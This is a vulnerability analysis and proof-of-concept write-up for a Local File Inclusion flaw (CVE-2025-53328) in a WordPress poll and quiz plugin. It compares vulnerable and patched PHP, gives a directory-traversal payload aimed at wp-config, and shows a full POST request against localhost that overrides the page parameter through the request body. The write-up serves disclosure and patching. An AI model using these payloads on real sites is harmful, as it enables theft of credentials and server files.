CVE-2025-53328 Analysis & POC

1 CVE & Basic Info
The Poll, Survey & Quiz Maker Plugin by Opinion Stage version ≤ 19.11.0 contains a Local File Inclusion (CVE-2025-53328, CVSS 7.5) vulnerability that allows an unauthenticated attacker to control the file parameter in an include/require
call, enabling inclusion or reading of local files on the server (e.g., configuration files containing credentials), leading to disclosure of sensitive information and, in some configurations, potential code execution.
- CVE ID: CVE-2025-53328
- Vulnerability Type: Local File Inclusion
- Affected Versions: <= 19.11.0
- Patched Versions: 19.11.1
- CVSS severity: High (7.5)
- Required Privilege: Unauthenticated
- Product: WordPress Poll, Survey & Quiz Maker Plugin by Opinion Stage Plugin
Although the vulnerability is published as Unauthenticated, in many deployments exploitation practically requires minimal internal privileges — for example a Contributor account or equivalent in WordPress.
2 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Plugin versions - Poll, Survey & Quiz Maker Plugin by Opinion Stage: 19.11.0 (vulnerable) and 19.11.1 (patched).
- Diff tool - Meld or any diff tool to compare differences between versions.
3 Analysis
3.1 Patch diff
Vulnerable version:
private static function prepare_view_file_name_form_current_page() {
$view_file_name = '';
if ( !empty( $_REQUEST['page'] ) ) {
$qry_str_check_os = sanitize_text_field( $_REQUEST['page'] );
$qry_str_check_os = explode( '-', $qry_str_check_os );
if ( 'opinionstage' === $qry_str_check_os[0] ) {
$view_file_name = str_replace( 'opinionstage-', '', sanitize_text_field( $_REQUEST['page'] ) );
$view_file_name = str_replace( '-', '_', $view_file_name );
}
}
return $view_file_name;
}
In the vulnerable version, the page
parameter is taken from $_REQUEST
and controlled by the user but the file name is not properly validated → allowing Local File Inclusion. The function only uses sanitize_text_field
and checks the opinionstage-
prefix, then removes the prefix and replaces -
with _
, so an attacker can supply:
?page=opinionstage-../../wp-config
Patched version:
private static function prepare_view_file_name_from_current_page() {
if (empty($_REQUEST['page']) || !is_string($_REQUEST['page'])) {
return '';
}
$page = sanitize_text_field($_REQUEST['page']);
if (substr($page, 0, strlen('opinionstage-')) !== 'opinionstage-') {
return '';
}
$template_name = substr($page, strlen('opinionstage-'));
$template_name = str_replace('-', '_', $template_name);
if (!in_array($template_name, self::$allowed_templates, true)) {
return '';
}
if (strpos($template_name, '..') !== false ||
strpos($template_name, '/') !== false ||
strpos($template_name, '\\') !== false) {
return '';
}
return $template_name;
}
The patch adds multiple protections: type checking, prefix verification ("opinionstage-"
), a whitelist (self::$allowed_templates
), and blocking traversal characters.
3.2 Vulnerable Code
The function prepare_view_file_name_form_current_page()
is called from load_template()
:
public static function load_template() {
$view_file_name = self::prepare_view_file_name_form_current_page();
if ( !$view_file_name ) {
return;
}
$os_client_logged_in = Helper::is_user_logged_in();
$os_options = Helper::get_opinionstage_option();
TemplatesViewer::require_template( 'admin/views/' . $view_file_name, compact( 'os_client_logged_in', 'os_options' ) );
}
require_template()
is invoked with 'admin/views/'.$view_file_name
:
public static function require_template($template_name, $args = []) {
$path = Opinionstage::get_instance()->plugin_path . $template_name . '.php';
if( ! file_exists( $path ) ) {
return;
}
extract($args);
require( $path );
}
The require()
call that causes LFI uses $path
concatenated from the plugin path (plugin_path
), $template_name
, and .php
:
public function register_menu_page() {
if ( function_exists( 'add_menu_page' ) ) {
$os_client_logged_in = Helper::is_user_logged_in();
if ( $os_client_logged_in ) {
add_menu_page(
__( 'Opinion Stage', 'social-polls-by-opinionstage' ),
__( 'Opinion Stage', 'social-polls-by-opinionstage' ),
'edit_posts',
OPINIONSTAGE_MENU_SLUG,
[ __CLASS__, 'load_template' ],
Opinionstage::get_instance()->plugin_url . 'admin/images/os-icon.svg',
'25.234323221'
);
add_submenu_page( OPINIONSTAGE_MENU_SLUG, 'View My Items', 'My Items', 'edit_posts', OPINIONSTAGE_MENU_SLUG );
add_submenu_page( OPINIONSTAGE_MENU_SLUG, 'Tutorials & Help', 'Tutorials & Help', 'edit_posts', OPINIONSTAGE_HELP_RESOURCE_SLUG, [ $this, 'load_template' ] );
} else {
add_menu_page(
__( 'Opinion Stage', 'social-polls-by-opinionstage' ),
__( 'Opinion Stage', 'social-polls-by-opinionstage' ),
'edit_posts',
OPINIONSTAGE_GETTING_STARTED_SLUG,
[ __CLASS__, 'load_template' ],
Opinionstage::get_instance()->plugin_url . 'admin/images/os-icon.svg',
'25.234323221'
);
add_submenu_page( OPINIONSTAGE_GETTING_STARTED_SLUG, 'Get Started', 'Get Started', 'edit_posts', OPINIONSTAGE_GETTING_STARTED_SLUG, [ $this, 'load_template' ] );
}
}
}
register_menu_page()
registers two submenus with load_template
as the callback, depending on the user’s login state.
To access the admin submenu, the user must be logged into WordPress with at least Contributor privileges → therefore, the required privilege for this CVE is Contributor.
Two slugs are declared for the submenus:
const string OPINIONSTAGE_MENU_SLUG = "opinionstage-settings"
const string OPINIONSTAGE_GETTING_STARTED_SLUG = "opinionstage-getting-started"
4 Exploit
4.1 Proof of Concept (PoC)
- Login with a Contributor account
- Send a POST request:
POST /wp-admin/admin.php?page=opinionstage-getting-started HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/
Connection: keep-alive
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=con%7C1760451626%7CeIWnBlZSv8mq15W1MfZbUd1WqiPvrNbuhzcGwDNgRtf%7C95a2ae30f463a8c1d010a70313f3f305e2c6e99b18056b7827132b809329c400; wp-settings-time-3=1760279584; intercom-id-y45xtsgw=f5cf9200-6f02-4b61-bb0a-94ef864e710e; intercom-session-y45xtsgw=; intercom-device-id-y45xtsgw=40def9f9-8e76-4d64-9bbc-28c12b70544f; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=con%7C1760451626%7CeIWnBlZSv8mq15W1MfZbUd1WqiPvrNbuhzcGwDNgRtf%7C2f86a0974e1c1d7b5ef8322a588e50ef5879561d1fc2f84b7c6eddf5c98ffcce
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
X-PwnFox-Color: green
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
page=opinionstage-../payload
Debugging:

Debug - Value of $view_file_name

Debug - Value of the $path being required
A payload.php
file was created for testing:
<?php
echo "ABC";
Result

Result of successful LFI
4.2 Explain
We leverage how WordPress and the plugin handle parameters: WordPress determines the admin page based on the page
in the URL, but the plugin reads page
from $_REQUEST
— and $_REQUEST
will prioritize values from the request body when the request is a POST. Therefore we send a POST to admin.php?page=opinionstage-getting-started
(a valid URL page to trigger the callback) while placing page=opinionstage-../payload
in the POST body. As a result, WordPress accepts the URL and calls the callback, while the plugin reads page
from $_REQUEST
(the body) containing the ../
payload — allowing directory traversal and exploiting the LFI.
5 Conclusion
CVE-2025-53328 is an LFI caused by using the page
input without proper validation to build the file path for require()
— the opinionstage-
prefix is accepted but the remainder can contain ..
/
\
to escape the views directory. The patch (v19.11.1) adds type checks, traversal blocking, and a template whitelist.
6 Key takeaways
- Do not use user input directly to build paths for
include/require
. - Apply a whitelist (or mapping) for template names.
- Block
..
,/
,\
or userealpath()
and compare with the base directory. - Update the plugin to 19.11.1 immediately.